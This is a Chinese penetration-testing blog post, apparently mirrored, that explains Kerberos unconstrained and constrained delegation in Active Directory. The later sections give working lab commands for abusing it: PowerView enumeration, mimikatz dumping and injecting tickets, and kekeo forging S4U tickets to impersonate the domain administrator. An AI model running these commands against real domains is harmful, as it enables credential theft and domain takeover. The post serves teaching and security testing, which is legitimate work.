zoukankan      html  css  js  c++  java
  • 非约束/约束委派的利用

    参考文章:https://www.anquanke.com/post/id/92484
    参考文章:https://www.cnblogs.com/websecyw/p/12461990.html
    参考文章:https://xz.aliyun.com/t/7217#toc-9

    什么是域委派

    域委派是指:将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动

    服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。

    上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服务器后,前台运行WEB服务的服务账号websvc模拟(Impersonate)用户jack,以Kerberos协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中跳或者多跳的Kerberos认证。

    按照图中红色字体的数字,具体步骤如下:

    1、域内用户jack以Kerberos方式认证后访问Web服务器;
    2、Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;
    3、KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT;
    4、websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS;
    5、KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS;
    6、websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。

    域委派的几种类型

    第一种是 非约束性委派(Unconstrained Delegation),服务账号可以获取某用户的TGT,从而服务账号可使用该TGT,模拟用户访问任意服务

    用户请求一个非约束委派服务的流程图:

    请求过程如下:

    1. 用户通过发送KRB_AS_REQ消息请求可转发 TGT(forwardable TGT,为了方便我们称为TGT1)
    2. KDC在KRB_AS_REP消息中返回TGT1
    3. 用户再通过TGT1向KDC请求转发TGT(forwardedTGT,我们称为TGT2)
    4. 在KRB_TGS_REP消息中返回转发TGT2
    5. 用户使用TGT1向KDC申请访问Service1的ST(ServiceTicket)
    6. TGS返回给用户一个ST
    7. 用户发送KRB_AP_REQ请求至Service1,这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey
    8. Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC,以用户的名义请求能够访问Service2的票据
    9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票据
    10. Service1以用户的名义向Service2发送KRB_AP_REQ请求
    11. Service2响应步骤10中Service1的请求
    12. Service1响应步骤7中用户的请求
    13. 在这个过程中的TGT转发机制,没有限制Service1对TGT2的使用,也就是说Service1可以通过TGT2来请求任意服务
    14. KDC返回步骤13中请求的票据,15和16即为Service1通过模拟用户来访问其他Service

    当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

    由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能,如下:

    约束委派在Kerberos中User不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。其中包括一组名为S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos协议扩展。

    用户请求一个约束委派的服务流程图如下:

    请求过程如下:

    1. 用户向Service1发送请求。
    2. 这时在官方文档中的介绍是在这一流程开始之前Service1已经通过KRB_AS_REQ得到了用户用来访问Service1的TGT,然后通过S4U2self扩展模拟用户向KDC请求ST。
    3. KDC这时返回给Service1一个用于用户验证Service1的ST(我们称为ST1),并且Service1用这个ST1完成和用户的验证过程。
    4. Service1在步骤3使用模拟用户申请的ST1完成与用户的验证,然后响应用户。
      注:这个过程中其实Service1是获得了用户的TGT和ST1的,但是S4U2Self扩展不允许Service1代表用户去请求其他的服务。
    5. 用户再次向Service1发起请求,此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个点:
      A.Service1已经验证通过,并且有一个有效的TGT。
      B.Service1有从用户到Service1的forwardableST(可转发ST)。个人认为这里的forwardable ST其实也就是ST1。
    6. Service1代表用户向Service2请求一个用于认证Service2的ST(我们称为ST2)。用户在ST1中通过cname(client name)和crealm(client realm)字段标识。
    7. KDC在接收到步骤6中Service1的请求之后,会验证PAC(特权属性证书,在第一篇中有说明)的数字签名。如果验证成功或者这个请求没有PAC(不能验证失败),KDC将返回ST2给Service1,不过这个ST2中cname和crealm标识的是用户而不是Service1。
    8. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。
    9. Service2响应Service1的请求。
    10. Service1响应用户的请求。

    在这个过程中:

    S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)

    S4U2proxy可以以用户的名义请求其它服务的ST

    同时注意forwardable字段,有forwardable标记为可转发的是能够通过S4U2Proxy扩展协议进行转发的,如果没有标记则不能进行转发。

    最后的结果:在约束委派中服务账号只能获取某用户的ST(也就是TGS),所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST

    如何设置约束委派的服务账户

    在Windows系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有,也就是当前用户账户下存在相对应的服务,比如mssql,http等等服务

    在域中只有服务账户才能有委派功能,所以先把用户yuyonghu01设置为服务账号。

    setspn -U -A https/golden yuyonghu01

    setspn -l xxxxx

    如何找出被设置过委派属性的服务账户

    首先:将用户yuyonghu01设置为 信任此用户作为其他任何服务的委派

    查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户

    非约束委派的查询:

    通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。

    查询域中配置非约束委派的账户:
    Get-NetUser -Unconstrained -Domain rootkit.org

    查询域中配置非约束委派的主机:
    Get-NetComputer -Unconstrained -Domain rootkit.org

    查询约束委派则通过搜索userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION的主机或用户

    约束委派的查询:

    查询域中配置约束委派的账户:
    Get-DomainUser -TrustedToAuth -Domain rootkit.org

    查询域中配置约束委派的主机:
    Get-DomainComputer -TrustedToAuth -Domain rootkit.org

    如何进行利用:

    非约束性委派的设置:

    域控模拟访问被设置了约束委派的机器:

    Enter-PSSession -ComputerName WIN-3QCUJHVRSQN

    约束委派机器中导出TGT票据(需要高权限,这里自己用的是本地管理员权限):

    mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

    导入TGT票据进行访问对应拥有权限可以访问的服务,这里我用的是域控进行访问的,直接可以访问域控

    mimikatz "kerberos::ptt [0;4ccc26]-2-0-60a00000-Administrator@krbtgt-PENTEST.GOD.kirbi" exit

    dir \WIN-CKT0M35R6UO.pentest.Godc$

    约束委派的设置:

    约束委派的利用:

    1、首先调用powerview模块进行约束委派的查询

    get-DomainUser -TrustedToAuth -Domain pentest.God

    2、利用kekeo向KDC请求TGS服务票据

    申请TGT:
    tgt::ask /user:yuyonghu01 /domain:pentest.god /password:pass!@#QWE /ticket:yuyonghu01.kirbi
    
    伪造任意权限S4U请求,申请TGS服务票据:
    Tgs::s4u /tgt:TGT_yuyonghu01@PENTEST.GOD_krbtgt~pentest.god@PENTEST.GOD.kirbi /user:administrator@pentest.God /service:cifs/WIN-CKT0M35R6UO.pentest.god
    

    3、导入TGS服务票据,访问对应的服务

    mimikatz "kerberos::ptt TGS_administrator@pentest.God@PENTEST.GOD_cifs~WIN-CKT0M35R6UO.pentest.god@PENTEST.GOD.kirbi" exit

    关于约束委派的防御方法:

    1、高权限用户没有在特殊要求之下设置为不可委派,比如administrator

    总结

    攻击路线:

    1、判断已有的账号是否是非约束委派账户
    2、获取非约束委派账户凭证,利用 Kerberoasting 攻击获取服务账号密码

    1、判断已有的账号是否是约束委派账户
    2、获取约束委派账户凭证,利用 Kerberoasting 攻击获取服务账号密码

    Print Spooler服务+非约束委派提升至域控权限,参考文章:https://adsecurity.org/?p=4056
    NTLM Relay和约束委派结合进行权限提升,参考文章:https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/

  • 相关阅读:
    样式问题
    布局
    通用模板实现可变参数函数
    使用单例模式实习string类
    动态生成一维数组和二维数组
    自定义的类传数据到主窗口控件上的方法
    使用TableView
    G480折腾上了黑苹果,完美了,哈哈
    error C2383: 此符号中不允许有默认参数
    动态链接库的隐式动态链接和显示动态链接
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12939246.html
Copyright © 2011-2022 走看看